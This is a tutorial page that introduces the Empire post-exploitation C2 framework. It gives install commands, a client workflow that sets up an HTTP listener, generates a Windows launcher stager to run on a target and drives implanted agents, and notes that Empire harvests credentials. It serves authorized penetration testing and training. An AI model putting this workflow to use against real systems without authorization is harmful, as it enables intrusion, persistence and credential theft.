Empire

Post-exploitation framework using PowerShell and Python agents for C2 operations.

What is Empire?

Empire (PowerShell Empire / BC-Security Empire) is a post-exploitation command and control (C2) framework. After gaining initial access to a target system during an authorized engagement, Empire allows operators to deploy agents — lightweight payloads that communicate back to a central server — to maintain persistence, move laterally, escalate privileges, and exfiltrate data. It supports PowerShell agents for Windows targets and Python agents for Linux and macOS.

⚠ Legal Notice

Only use on systems you own or have explicit written permission to test. Unauthorized use violates Pakistan's PECA 2016 and international cybercrime laws. Empire is a post-exploitation tool — misuse carries serious legal consequences.

Installation

# Update packages
sudo apt update

# Install Empire (maintained by BC-Security on Kali)
sudo apt install powershell-empire -y

# OR install manually from GitHub
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

# Launch Empire server
sudo powershell-empire server

# Launch Empire client (in a separate terminal)
sudo powershell-empire client

Basic Workflow

# 1. Start the Empire server
sudo powershell-empire server

# 2. Connect with the client
sudo powershell-empire client

# 3. Inside the Empire client — create a listener
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.10
(Empire: listeners/http) > set Port 4444
(Empire: listeners/http) > execute

# 4. Generate a stager (payload to run on target)
(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > execute

# 5. Once the target runs the stager, an agent checks in
(Empire) > agents

# 6. Interact with an active agent
(Empire: agents) > interact AGENT_NAME

# 7. Run a module on the agent
(Empire: AGENT_NAME) > usemodule situational_awareness/host/winenum
(Empire: AGENT_NAME) > execute

Key Concepts

Listener — the C2 server component that waits for agent callbacks (HTTP, HTTPS, etc.)
Stager — the initial payload delivered to the target that deploys the agent
Agent — the persistent implant running on the compromised host
Module — post-exploitation tasks run on an active agent (recon, privesc, lateral movement)
Credentials — Empire automatically harvests and stores credentials from agents

Common Use Cases

Authorized red team and penetration testing engagements
Post-exploitation and lateral movement simulation
Advanced CTF (Capture The Flag) challenges
Internal adversary simulation exercises